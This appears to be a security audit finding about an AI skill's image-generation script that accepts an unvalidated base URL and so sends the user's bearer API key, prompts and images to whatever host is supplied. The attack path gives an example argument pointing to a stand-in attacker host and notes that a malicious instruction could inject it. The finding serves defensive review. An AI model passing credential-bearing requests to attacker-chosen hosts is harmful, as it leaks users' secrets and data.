T09 · Insecure Skill Coding Practices
- Location
scripts/test_nano_banana_2.py:310- Finding
Unrestricted API Base URL Can Expose Bearer Credentials and User Content
- Content
View full analysis
dict[str, str]: return {"Authorization": f"Bearer {api_key}"} ``` ### Technical Analysis The Skill documentation states that the API base address must remain fixed at `https://ai.t8star.cn`, but the executable script exposes an unrestricted `--base-url` option. No validation enforces HTTPS, the expected hostname, or an approved port. The API key is installed as a default header on the shared `httpx.Client`. Requests to the caller-selected base URL therefore carry the user's bearer credential. Image prompts and image-edit source files are also sent to that destination. This violates the Skill's documented trust boundary. The declared functionality only requires access to the designated image-generation service, so allowing arbitrary credential-bearing origins exceeds the minimum network privileges necessary. ### Attack Path 1. A user, malicious instruction, or compromised orchestration layer influences the script arguments. 2. The invocation supplies an attacker-controlled destination, such as: ```text --base-url https://attacker.example ``` 3. The script creates an HTTP client containing: ```text Authorization: Bearer ...[truncated 975 chars]- Remediation
View remediation
